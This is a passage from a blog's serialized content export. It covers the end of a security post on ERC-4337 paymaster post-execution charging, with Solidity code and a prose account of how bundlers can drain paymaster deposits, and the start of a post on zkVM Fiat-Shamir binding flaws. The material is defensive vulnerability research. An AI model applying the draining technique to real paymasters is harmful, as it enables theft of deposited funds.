preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[112470],{"type":24,"tag":80,"props":112471,"children":112472},{"__ignoreMap":7},[112473,112488,112505,112525,112541,112553,112560,112567,112574,112605,112612,112637,112645,112652,112659,112688,112695,112711,112733,112740,112756,112806,112813,112829,112837,112870,112903,112911,112918,112925,112968,112975,113024,113050,113057,113064,113081],{"type":24,"tag":147,"props":112474,"children":112475},{"class":149,"line":150},[112476,112480,112484],{"type":24,"tag":147,"props":112477,"children":112478},{"style":218},[112479],{"type":29,"value":95414},{"type":24,"tag":147,"props":112481,"children":112482},{"style":229},[112483],{"type":29,"value":109360},{"type":24,"tag":147,"props":112485,"children":112486},{"style":235},[112487],{"type":29,"value":9088},{"type":24,"tag":147,"props":112489,"children":112490},{"class":149,"line":160},[112491,112496,112500],{"type":24,"tag":147,"props":112492,"children":112493},{"style":218},[112494],{"type":29,"value":112495},"        PostOpMode",{"type":24,"tag":147,"props":112497,"children":112498},{"style":235},[112499],{"type":29,"value":546},{"type":24,"tag":147,"props":112501,"children":112502},{"style":154},[112503],{"type":29,"value":112504},"/* mode */\n",{"type":24,"tag":147,"props":112506,"children":112507},{"class":149,"line":169},[112508,112512,112516,112521],{"type":24,"tag":147,"props":112509,"children":112510},{"style":9044},[112511],{"type":29,"value":111273},{"type":24,"tag":147,"props":112513,"children":112514},{"style":218},[112515],{"type":29,"value":108590},{"type":24,"tag":147,"props":112517,"children":112518},{"style":247},[112519],{"type":29,"value":112520}," _context",{"type":24,"tag":147,"props":112522,"children":112523},{"style":235},[112524],{"type":29,"value":1549},{"type":24,"tag":147,"props":112526,"children":112527},{"class":149,"line":178},[112528,112532,112537],{"type":24,"tag":147,"props":112529,"children":112530},{"style":9044},[112531],{"type":29,"value":95592},{"type":24,"tag":147,"props":112533,"children":112534},{"style":247},[112535],{"type":29,"value":112536}," _actualGasCost",{"type":24,"tag":147,"props":112538,"children":112539},{"style":235},[112540],{"type":29,"value":1549},{"type":24,"tag":147,"props":112542,"children":112543},{"class":149,"line":187},[112544,112548],{"type":24,"tag":147,"props":112545,"children":112546},{"style":9044},[112547],{"type":29,"value":95592},{"type":24,"tag":147,"props":112549,"children":112550},{"style":247},[112551],{"type":29,"value":112552}," _actualUserOpFeePerGas\n",{"type":24,"tag":147,"props":112554,"children":112555},{"class":149,"line":196},[112556],{"type":24,"tag":147,"props":112557,"children":112558},{"style":235},[112559],{"type":29,"value":29520},{"type":24,"tag":147,"props":112561,"children":112562},{"class":149,"line":205},[112563],{"type":24,"tag":147,"props":112564,"children":112565},{"style":218},[112566],{"type":29,"value":108629},{"type":24,"tag":147,"props":112568,"children":112569},{"class":149,"line":214},[112570],{"type":24,"tag":147,"props":112571,"children":112572},{"style":235},[112573],{"type":29,"value":3079},{"type":24,"tag":147,"props":112575,"children":112576},{"class":149,"line":272},[112577,112582,112586,112591,112595,112600],{"type":24,"tag":147,"props":112578,"children":112579},{"style":235},[112580],{"type":29,"value":112581},"        ERC20PostOpContext ",{"type":24,"tag":147,"props":112583,"children":112584},{"style":218},[112585],{"type":29,"value":81556},{"type":24,"tag":147,"props":112587,"children":112588},{"style":235},[112589],{"type":29,"value":112590}," ctx ",{"type":24,"tag":147,"props":112592,"children":112593},{"style":241},[112594],{"type":29,"value":369},{"type":24,"tag":147,"props":112596,"children":112597},{"style":229},[112598],{"type":29,"value":112599}," _parsePostOpContext",{"type":24,"tag":147,"props":112601,"children":112602},{"style":235},[112603],{"type":29,"value":112604},"(_context);\n",{"type":24,"tag":147,"props":112606,"children":112607},{"class":149,"line":281},[112608],{"type":24,"tag":147,"props":112609,"children":112610},{"emptyLinePlaceholder":16},[112611],{"type":29,"value":314},{"type":24,"tag":147,"props":112613,"children":112614},{"class":149,"line":299},[112615,112619,112624,112628,112633],{"type":24,"tag":147,"props":112616,"children":112617},{"style":9044},[112618],{"type":29,"value":95592},{"type":24,"tag":147,"props":112620,"children":112621},{"style":235},[112622],{"type":29,"value":112623}," expectedPenaltyGasCost ",{"type":24,"tag":147,"props":112625,"children":112626},{"style":241},[112627],{"type":29,"value":369},{"type":24,"tag":147,"props":112629,"children":112630},{"style":229},[112631],{"type":29,"value":112632}," _expectedPenaltyGasCost",{"type":24,"tag":147,"props":112634,"children":112635},{"style":235},[112636],{"type":29,"value":9088},{"type":24,"tag":147,"props":112638,"children":112639},{"class":149,"line":308},[112640],{"type":24,"tag":147,"props":112641,"children":112642},{"style":235},[112643],{"type":29,"value":112644},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":24,"tag":147,"props":112646,"children":112647},{"class":149,"line":317},[112648],{"type":24,"tag":147,"props":112649,"children":112650},{"style":235},[112651],{"type":29,"value":13369},{"type":24,"tag":147,"props":112653,"children":112654},{"class":149,"line":332},[112655],{"type":24,"tag":147,"props":112656,"children":112657},{"emptyLinePlaceholder":16},[112658],{"type":29,"value":314},{"type":24,"tag":147,"props":112660,"children":112661},{"class":149,"line":350},[112662,112666,112670,112674,112679,112683],{"type":24,"tag":147,"props":112663,"children":112664},{"style":9044},[112665],{"type":29,"value":95592},{"type":24,"tag":147,"props":112667,"children":112668},{"style":235},[112669],{"type":29,"value":109683},{"type":24,"tag":147,"props":112671,"children":112672},{"style":241},[112673],{"type":29,"value":369},{"type":24,"tag":147,"props":112675,"children":112676},{"style":235},[112677],{"type":29,"value":112678}," _actualGasCost ",{"type":24,"tag":147,"props":112680,"children":112681},{"style":241},[112682],{"type":29,"value":624},{"type":24,"tag":147,"props":112684,"children":112685},{"style":235},[112686],{"type":29,"value":112687}," expectedPenaltyGasCost;\n",{"type":24,"tag":147,"props":112689,"children":112690},{"class":149,"line":358},[112691],{"type":24,"tag":147,"props":112692,"children":112693},{"emptyLinePlaceholder":16},[112694],{"type":29,"value":314},{"type":24,"tag":147,"props":112696,"children":112697},{"class":149,"line":397},[112698,112702,112707],{"type":24,"tag":147,"props":112699,"children":112700},{"style":9044},[112701],{"type":29,"value":95592},{"type":24,"tag":147,"props":112703,"children":112704},{"style":235},[112705],{"type":29,"value":112706}," costInToken ",{"type":24,"tag":147,"props":112708,"children":112709},{"style":241},[112710],{"type":29,"value":20307},{"type":24,"tag":147,"props":112712,"children":112713},{"class":149,"line":421},[112714,112719,112724,112728],{"type":24,"tag":147,"props":112715,"children":112716},{"style":229},[112717],{"type":29,"value":112718},"            getCostInToken",{"type":24,"tag":147,"props":112720,"children":112721},{"style":235},[112722],{"type":29,"value":112723},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":24,"tag":147,"props":112725,"children":112726},{"style":241},[112727],{"type":29,"value":624},{"type":24,"tag":147,"props":112729,"children":112730},{"style":235},[112731],{"type":29,"value":112732}," ctx.constantFee;\n",{"type":24,"tag":147,"props":112734,"children":112735},{"class":149,"line":435},[112736],{"type":24,"tag":147,"props":112737,"children":112738},{"emptyLinePlaceholder":16},[112739],{"type":29,"value":314},{"type":24,"tag":147,"props":112741,"children":112742},{"class":149,"line":444},[112743,112747,112752],{"type":24,"tag":147,"props":112744,"children":112745},{"style":9044},[112746],{"type":29,"value":95592},{"type":24,"tag":147,"props":112748,"children":112749},{"style":235},[112750],{"type":29,"value":112751}," absoluteCostInToken ",{"type":24,"tag":147,"props":112753,"children":112754},{"style":241},[112755],{"type":29,"value":20307},{"type":24,"tag":147,"props":112757,"children":112758},{"class":149,"line":452},[112759,112764,112768,112773,112777,112781,112785,112789,112793,112797,112801],{"type":24,"tag":147,"props":112760,"children":112761},{"style":235},[112762],{"type":29,"value":112763},"            costInToken ",{"type":24,"tag":147,"props":112765,"children":112766},{"style":241},[112767],{"type":29,"value":3453},{"type":24,"tag":147,"props":112769,"children":112770},{"style":235},[112771],{"type":29,"value":112772}," ctx.preFundCharged ",{"type":24,"tag":147,"props":112774,"children":112775},{"style":241},[112776],{"type":29,"value":8785},{"type":24,"tag":147,"props":112778,"children":112779},{"style":235},[112780],{"type":29,"value":112706},{"type":24,"tag":147,"props":112782,"children":112783},{"style":241},[112784],{"type":29,"value":3470},{"type":24,"tag":147,"props":112786,"children":112787},{"style":235},[112788],{"type":29,"value":112772},{"type":24,"tag":147,"props":112790,"children":112791},{"style":241},[112792],{"type":29,"value":978},{"type":24,"tag":147,"props":112794,"children":112795},{"style":235},[112796],{"type":29,"value":112772},{"type":24,"tag":147,"props":112798,"children":112799},{"style":241},[112800],{"type":29,"value":3470},{"type":24,"tag":147,"props":112802,"children":112803},{"style":235},[112804],{"type":29,"value":112805}," costInToken;\n",{"type":24,"tag":147,"props":112807,"children":112808},{"class":149,"line":461},[112809],{"type":24,"tag":147,"props":112810,"children":112811},{"emptyLinePlaceholder":16},[112812],{"type":29,"value":314},{"type":24,"tag":147,"props":112814,"children":112815},{"class":149,"line":469},[112816,112821,112825],{"type":24,"tag":147,"props":112817,"children":112818},{"style":235},[112819],{"type":29,"value":112820},"        SafeTransferLib.",{"type":24,"tag":147,"props":112822,"children":112823},{"style":229},[112824],{"type":29,"value":109215},{"type":24,"tag":147,"props":112826,"children":112827},{"style":235},[112828],{"type":29,"value":9088},{"type":24,"tag":147,"props":112830,"children":112831},{"class":149,"line":508},[112832],{"type":24,"tag":147,"props":112833,"children":112834},{"style":235},[112835],{"type":29,"value":112836},"            ctx.token,\n",{"type":24,"tag":147,"props":112838,"children":112839},{"class":149,"line":572},[112840,112844,112848,112852,112856,112861,112865],{"type":24,"tag":147,"props":112841,"children":112842},{"style":235},[112843],{"type":29,"value":112763},{"type":24,"tag":147,"props":112845,"children":112846},{"style":241},[112847],{"type":29,"value":3453},{"type":24,"tag":147,"props":112849,"children":112850},{"style":235},[112851],{"type":29,"value":112772},{"type":24,"tag":147,"props":112853,"children":112854},{"style":241},[112855],{"type":29,"value":8785},{"type":24,"tag":147,"props":112857,"children":112858},{"style":235},[112859],{"type":29,"value":112860}," ctx.sender ",{"type":24,"tag":147,"props":112862,"children":112863},{"style":241},[112864],{"type":29,"value":978},{"type":24,"tag":147,"props":112866,"children":112867},{"style":235},[112868],{"type":29,"value":112869}," ctx.treasury,\n",{"type":24,"tag":147,"props":112871,"children":112872},{"class":149,"line":591},[112873,112877,112881,112885,112889,112894,112898],{"type":24,"tag":147,"props":112874,"children":112875},{"style":235},[112876],{"type":29,"value":112763},{"type":24,"tag":147,"props":112878,"children":112879},{"style":241},[112880],{"type":29,"value":3453},{"type":24,"tag":147,"props":112882,"children":112883},{"style":235},[112884],{"type":29,"value":112772},{"type":24,"tag":147,"props":112886,"children":112887},{"style":241},[112888],{"type":29,"value":8785},{"type":24,"tag":147,"props":112890,"children":112891},{"style":235},[112892],{"type":29,"value":112893}," ctx.treasury ",{"type":24,"tag":147,"props":112895,"children":112896},{"style":241},[112897],{"type":29,"value":978},{"type":24,"tag":147,"props":112899,"children":112900},{"style":235},[112901],{"type":29,"value":112902}," ctx.sender,\n",{"type":24,"tag":147,"props":112904,"children":112905},{"class":149,"line":632},[112906],{"type":24,"tag":147,"props":112907,"children":112908},{"style":235},[112909],{"type":29,"value":112910},"            absoluteCostInToken\n",{"type":24,"tag":147,"props":112912,"children":112913},{"class":149,"line":659},[112914],{"type":24,"tag":147,"props":112915,"children":112916},{"style":235},[112917],{"type":29,"value":13369},{"type":24,"tag":147,"props":112919,"children":112920},{"class":149,"line":684},[112921],{"type":24,"tag":147,"props":112922,"children":112923},{"emptyLinePlaceholder":16},[112924],{"type":29,"value":314},{"type":24,"tag":147,"props":112926,"children":112927},{"class":149,"line":715},[112928,112932,112937,112941,112946,112950,112955,112959,112964],{"type":24,"tag":147,"props":112929,"children":112930},{"style":9044},[112931],{"type":29,"value":95592},{"type":24,"tag":147,"props":112933,"children":112934},{"style":235},[112935],{"type":29,"value":112936}," preFundInToken ",{"type":24,"tag":147,"props":112938,"children":112939},{"style":241},[112940],{"type":29,"value":369},{"type":24,"tag":147,"props":112942,"children":112943},{"style":235},[112944],{"type":29,"value":112945}," (ctx.preFund ",{"type":24,"tag":147,"props":112947,"children":112948},{"style":241},[112949],{"type":29,"value":244},{"type":24,"tag":147,"props":112951,"children":112952},{"style":235},[112953],{"type":29,"value":112954}," ctx.exchangeRate) ",{"type":24,"tag":147,"props":112956,"children":112957},{"style":241},[112958],{"type":29,"value":10204},{"type":24,"tag":147,"props":112960,"children":112961},{"style":705},[112962],{"type":29,"value":112963}," 1e18",{"type":24,"tag":147,"props":112965,"children":112966},{"style":235},[112967],{"type":29,"value":432},{"type":24,"tag":147,"props":112969,"children":112970},{"class":149,"line":744},[112971],{"type":24,"tag":147,"props":112972,"children":112973},{"emptyLinePlaceholder":16},[112974],{"type":29,"value":314},{"type":24,"tag":147,"props":112976,"children":112977},{"class":149,"line":784},[112978,112982,112987,112991,112995,112999,113003,113007,113011,113015,113019],{"type":24,"tag":147,"props":112979,"children":112980},{"style":321},[112981],{"type":29,"value":403},{"type":24,"tag":147,"props":112983,"children":112984},{"style":235},[112985],{"type":29,"value":112986}," (ctx.recipient ",{"type":24,"tag":147,"props":112988,"children":112989},{"style":241},[112990],{"type":29,"value":4279},{"type":24,"tag":147,"props":112992,"children":112993},{"style":9044},[112994],{"type":29,"value":11875},{"type":24,"tag":147,"props":112996,"children":112997},{"style":235},[112998],{"type":29,"value":480},{"type":24,"tag":147,"props":113000,"children":113001},{"style":705},[113002],{"type":29,"value":3173},{"type":24,"tag":147,"props":113004,"children":113005},{"style":235},[113006],{"type":29,"value":564},{"type":24,"tag":147,"props":113008,"children":113009},{"style":241},[113010],{"type":29,"value":78779},{"type":24,"tag":147,"props":113012,"children":113013},{"style":235},[113014],{"type":29,"value":112936},{"type":24,"tag":147,"props":113016,"children":113017},{"style":241},[113018],{"type":29,"value":3453},{"type":24,"tag":147,"props":113020,"children":113021},{"style":235},[113022],{"type":29,"value":113023}," costInToken) {\n",{"type":24,"tag":147,"props":113025,"children":113026},{"class":149,"line":792},[113027,113032,113036,113041,113045],{"type":24,"tag":147,"props":113028,"children":113029},{"style":235},[113030],{"type":29,"value":113031},"            SafeTransferLib.",{"type":24,"tag":147,"props":113033,"children":113034},{"style":229},[113035],{"type":29,"value":109215},{"type":24,"tag":147,"props":113037,"children":113038},{"style":235},[113039],{"type":29,"value":113040},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":24,"tag":147,"props":113042,"children":113043},{"style":241},[113044],{"type":29,"value":3470},{"type":24,"tag":147,"props":113046,"children":113047},{"style":235},[113048],{"type":29,"value":113049}," costInToken);\n",{"type":24,"tag":147,"props":113051,"children":113052},{"class":149,"line":805},[113053],{"type":24,"tag":147,"props":113054,"children":113055},{"style":235},[113056],{"type":29,"value":441},{"type":24,"tag":147,"props":113058,"children":113059},{"class":149,"line":813},[113060],{"type":24,"tag":147,"props":113061,"children":113062},{"emptyLinePlaceholder":16},[113063],{"type":29,"value":314},{"type":24,"tag":147,"props":113065,"children":113066},{"class":149,"line":821},[113067,113072,113076],{"type":24,"tag":147,"props":113068,"children":113069},{"style":321},[113070],{"type":29,"value":113071},"        emit",{"type":24,"tag":147,"props":113073,"children":113074},{"style":229},[113075],{"type":29,"value":109948},{"type":24,"tag":147,"props":113077,"children":113078},{"style":235},[113079],{"type":29,"value":113080},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":24,"tag":147,"props":113082,"children":113083},{"class":149,"line":1902},[113084],{"type":24,"tag":147,"props":113085,"children":113086},{"style":235},[113087],{"type":29,"value":1952},{"type":24,"tag":25,"props":113089,"children":113090},{},[113091,113093,113098,113100,113106,113108,113114,113116,113121,113123,113128],{"type":29,"value":113092},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":24,"tag":80,"props":113094,"children":113096},{"className":113095},[],[113097],{"type":29,"value":109215},{"type":29,"value":113099},". Note that ",{"type":24,"tag":80,"props":113101,"children":113103},{"className":113102},[],[113104],{"type":29,"value":113105},"preFundCharged",{"type":29,"value":113107}," can be zero, as users can opt out of any ",{"type":24,"tag":80,"props":113109,"children":113111},{"className":113110},[],[113112],{"type":29,"value":113113},"preFund",{"type":29,"value":113115}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":24,"tag":80,"props":113117,"children":113119},{"className":113118},[],[113120],{"type":29,"value":110015},{"type":29,"value":113122}," call inside ",{"type":24,"tag":80,"props":113124,"children":113126},{"className":113125},[],[113127],{"type":29,"value":111097},{"type":29,"value":113129}," will revert and the paymaster won't be able to collect payment from the user.",{"type":24,"tag":25,"props":113131,"children":113132},{},[113133,113135,113140,113142,113148,113150,113156],{"type":29,"value":113134},"However, even when ",{"type":24,"tag":80,"props":113136,"children":113138},{"className":113137},[],[113139],{"type":29,"value":110015},{"type":29,"value":113141}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":24,"tag":80,"props":113143,"children":113145},{"className":113144},[],[113146],{"type":29,"value":113147},"requiredPrefund",{"type":29,"value":113149}," was taken from the paymaster's ",{"type":24,"tag":2773,"props":113151,"children":113154},{"href":113152,"rel":113153},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[2777],[113155],{"type":29,"value":67545},{"type":29,"value":87},{"type":24,"tag":25,"props":113158,"children":113159},{},[113160,113162,113167],{"type":29,"value":113161},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":24,"tag":80,"props":113163,"children":113165},{"className":113164},[],[113166],{"type":29,"value":110015},{"type":29,"value":113168}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":24,"tag":2674,"props":113170,"children":113171},{},[113172,113190,113209,113220,113225],{"type":24,"tag":2678,"props":113173,"children":113174},{},[113175,113177,113182,113184],{"type":29,"value":113176},"The bundler creates a ",{"type":24,"tag":80,"props":113178,"children":113180},{"className":113179},[],[113181],{"type":29,"value":107760},{"type":29,"value":113183}," with an intentionally high ",{"type":24,"tag":80,"props":113185,"children":113187},{"className":113186},[],[113188],{"type":29,"value":113189},"gasPrice",{"type":24,"tag":2678,"props":113191,"children":113192},{},[113193,113195,113200,113202,113207],{"type":29,"value":113194},"The bundler ensures the ",{"type":24,"tag":80,"props":113196,"children":113198},{"className":113197},[],[113199],{"type":29,"value":110015},{"type":29,"value":113201}," call will fail by revoking the paymaster's token allowance before ",{"type":24,"tag":80,"props":113203,"children":113205},{"className":113204},[],[113206],{"type":29,"value":110015},{"type":29,"value":113208}," executes",{"type":24,"tag":2678,"props":113210,"children":113211},{},[113212,113213,113218],{"type":29,"value":68937},{"type":24,"tag":80,"props":113214,"children":113216},{"className":113215},[],[113217],{"type":29,"value":110015},{"type":29,"value":113219}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":24,"tag":2678,"props":113221,"children":113222},{},[113223],{"type":29,"value":113224},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":24,"tag":2678,"props":113226,"children":113227},{},[113228],{"type":29,"value":113229},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":24,"tag":25,"props":113231,"children":113232},{},[113233,113235,113240,113242,113247],{"type":29,"value":113234},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":24,"tag":80,"props":113236,"children":113238},{"className":113237},[],[113239],{"type":29,"value":107789},{"type":29,"value":113241}," designed to fail during ",{"type":24,"tag":80,"props":113243,"children":113245},{"className":113244},[],[113246],{"type":29,"value":110015},{"type":29,"value":113248}," while maximizing the gas costs they can charge to the paymaster.",{"type":24,"tag":25,"props":113250,"children":113251},{},[113252,113254,113259,113261,113266,113268,113274,113276,113281],{"type":29,"value":113253},"Some paymasters try to protect against this by simulating the ",{"type":24,"tag":80,"props":113255,"children":113257},{"className":113256},[],[113258],{"type":29,"value":107760},{"type":29,"value":113260}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":24,"tag":80,"props":113262,"children":113264},{"className":113263},[],[113265],{"type":29,"value":107760},{"type":29,"value":113267}," is submitted via ",{"type":24,"tag":80,"props":113269,"children":113271},{"className":113270},[],[113272],{"type":29,"value":113273},"handleOps",{"type":29,"value":113275},". This means the ",{"type":24,"tag":80,"props":113277,"children":113279},{"className":113278},[],[113280],{"type":29,"value":110015},{"type":29,"value":113282}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":24,"tag":25,"props":113284,"children":113285},{},[113286],{"type":29,"value":113287},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":24,"tag":25,"props":113289,"children":113290},{},[113291],{"type":29,"value":113292},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":24,"tag":25,"props":113294,"children":113295},{},[113296],{"type":29,"value":113297},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":24,"tag":40973,"props":113299,"children":113300},{"id":8458},[113301],{"type":29,"value":8461},{"type":24,"tag":25,"props":113303,"children":113304},{},[113305],{"type":29,"value":113306},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":24,"tag":2674,"props":113308,"children":113309},{},[113310,113315,113320,113325,113330],{"type":24,"tag":2678,"props":113311,"children":113312},{},[113313],{"type":29,"value":113314},"Always collect full payment during validation, not after execution",{"type":24,"tag":2678,"props":113316,"children":113317},{},[113318],{"type":29,"value":113319},"Be conservative with gas estimations and include safety margins",{"type":24,"tag":2678,"props":113321,"children":113322},{},[113323],{"type":29,"value":113324},"Carefully validate all user inputs and token transfers",{"type":24,"tag":2678,"props":113326,"children":113327},{},[113328],{"type":29,"value":113329},"Test extensively, including simulation of malicious behavior",{"type":24,"tag":2678,"props":113331,"children":113332},{},[113333,113335,113340],{"type":29,"value":113334},"Always review changes in new ",{"type":24,"tag":80,"props":113336,"children":113338},{"className":113337},[],[113339],{"type":29,"value":107841},{"type":29,"value":113341}," versions, as they may impact your paymaster's design and security assumptions",{"type":24,"tag":25,"props":113343,"children":113344},{},[113345,113347,113352,113354,113359,113361,113366],{"type":29,"value":113346},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":24,"tag":80,"props":113348,"children":113350},{"className":113349},[],[113351],{"type":29,"value":107841},{"type":29,"value":113353}," contract's behavior could potentially break existing ",{"type":24,"tag":80,"props":113355,"children":113357},{"className":113356},[],[113358],{"type":29,"value":107913},{"type":29,"value":113360}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":24,"tag":80,"props":113362,"children":113364},{"className":113363},[],[113365],{"type":29,"value":107841},{"type":29,"value":113367}," versions.",{"type":24,"tag":25,"props":113369,"children":113370},{},[113371],{"type":29,"value":113372},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":24,"tag":25,"props":113374,"children":113375},{},[113376],{"type":29,"value":113377},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":24,"tag":8473,"props":113379,"children":113380},{},[113381],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":113383},[113384,113385,113386,113393,113398,113399],{"id":107675,"depth":160,"text":107678},{"id":107691,"depth":160,"text":107694},{"id":107730,"depth":160,"text":107733,"children":113387},[113388,113389,113390,113391,113392],{"id":107753,"depth":169,"text":107760},{"id":107794,"depth":169,"text":107797},{"id":107820,"depth":169,"text":107823},{"id":20337,"depth":169,"text":107841},{"id":107913,"depth":169,"text":107924},{"id":107976,"depth":160,"text":113394,"children":113395},"Understanding the EntryPoint's Flow",[113396,113397],{"id":108032,"depth":169,"text":108035},{"id":108217,"depth":169,"text":108220},{"id":108460,"depth":160,"text":108466},{"id":110058,"depth":160,"text":110064,"children":113400},[113401,113402],{"id":110118,"depth":169,"text":110121},{"id":110178,"depth":169,"text":110181},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":113407,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":113408,"description":113409,"date":113410,"author":113411,"image":113414,"isFeatured":16,"onBlogPage":16,"tags":113416,"body":113418,"_type":8496,"_id":129222,"_source":8498,"_file":129223,"_stem":129224,"_extension":8501},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[113412,113413],"himanshu","valter",{"src":113415,"width":14,"height":15},"/posts/zkvms-unfaithful-claims/title.png",[113417],"zkVM",{"type":21,"children":113419,"toc":129186},[113420,113425,113467,113480,113483,113489,113494,113622,113625,113631,113637,113642,113674,113822,113827,113950,113961,113972,113995,114006,114011,114044,114052,114057,114060,114066,114071,114077,114082,114087,114095,114113,114254,114259,114265,114358,115092,115160,115171,115179,115653,115659,116098,116438,116591,116596,117484,117640,117646,117738,117743,118327,118777,118853,118859,118864,118933,118943,118959,118969,119030,119449,119481,119491,119666,119671,119681,120281,120469,120487,120490,120496,120501,120509,120541,120903,120908,120993,120996,121002,121010,121015,121018,121024,121029,121037,121045,121053,121061,121094,121102,121110,121201,121452,121779,121787,121817,121987,122313,122318,122323,122340,122343,122348,122353,122365,122377,122968,122980,122992,122999,123007,123019,123027,123042,123047,123327,123346,123441,123460,123476,123479,123485,123490,123495,123502,123510,123517,123525,123538,123556,124016,124118,124123,124128,124144,124147,124153,124158,124170,124181,124186,124576,124583,124591,124616,124636,124892,124903,124922,125306,125652,125882,126041,126201,126769,126774,126800,126803,126809,126814,126821,126829,126842,126914,126925,126933,126943,126951,126962,127236,127325,127354,127357,127362,127496,127508,127515,127520,127673,127699,127706,127714,127719,127785,127790,128180,128267,128283,128286,128292,128297,128303,128403,128462,128467,128473,128478,128486,128491,128497,128502,128507,128513,128518,128521,128527,128533,128538,128543,128548,128553,128558,128561,128567,128730,128735,128738,128743,128754,129071,129076,129100,129105,129123,129128,129131,129137,129142,129147,129157,129162,129172,129182],{"type":24,"tag":25,"props":113421,"children":113422},{},[113423],{"type":29,"value":113424},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":24,"tag":25,"props":113426,"children":113427},{},[113428,113430,113435,113436,113441,113442,113447,113448,113453,113454,113459,113460,113465],{"type":29,"value":113429},"We found six systems where this faithfulness breaks. Across ",{"type":24,"tag":10949,"props":113431,"children":113432},{},[113433],{"type":29,"value":113434},"Jolt",{"type":29,"value":546},{"type":24,"tag":10949,"props":113437,"children":113438},{},[113439],{"type":29,"value":113440},"Nexus",{"type":29,"value":546},{"type":24,"tag":10949,"props":113443,"children":113444},{},[113445],{"type":29,"value":113446},"Cairo-M",{"type":29,"value":546},{"type":24,"tag":10949,"props":113449,"children":113450},{},[113451],{"type":29,"value":113452},"Ceno",{"type":29,"value":546},{"type":24,"tag":10949,"props":113455,"children":113456},{},[113457],{"type":29,"value":113458},"Expander",{"type":29,"value":12113},{"type":24,"tag":10949,"props":113461,"children":113462},{},[113463],{"type":29,"value":113464},"Binius64",{"type":29,"value":113466},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":24,"tag":25,"props":113468,"children":113469},{},[113470,113472,113478],{"type":29,"value":113471},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":24,"tag":2773,"props":113473,"children":113475},{"href":113474},"#challenges",[113476],{"type":29,"value":113477},"Challenges",{"type":29,"value":113479}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":24,"tag":2665,"props":113481,"children":113482},{},[],{"type":24,"tag":32,"props":113484,"children":113486},{"id":113485},"jargon-cheat-sheet",[113487],{"type":29,"value":113488},"Jargon Cheat Sheet",{"type":24,"tag":25,"props":113490,"children":113491},{},[113492],{"type":29,"value":113493},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":24,"tag":22292,"props":113495,"children":113496},{},[113497,113507,113517,113527,113537,113547,113557,113567,113577,113587,113597,113607],{"type":24,"tag":2678,"props":113498,"children":113499},{},[113500,113505],{"type":24,"tag":10949,"props":113501,"children":113502},{},[113503],{"type":29,"value":113504},"Fiat-Shamir",{"type":29,"value":113506},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs 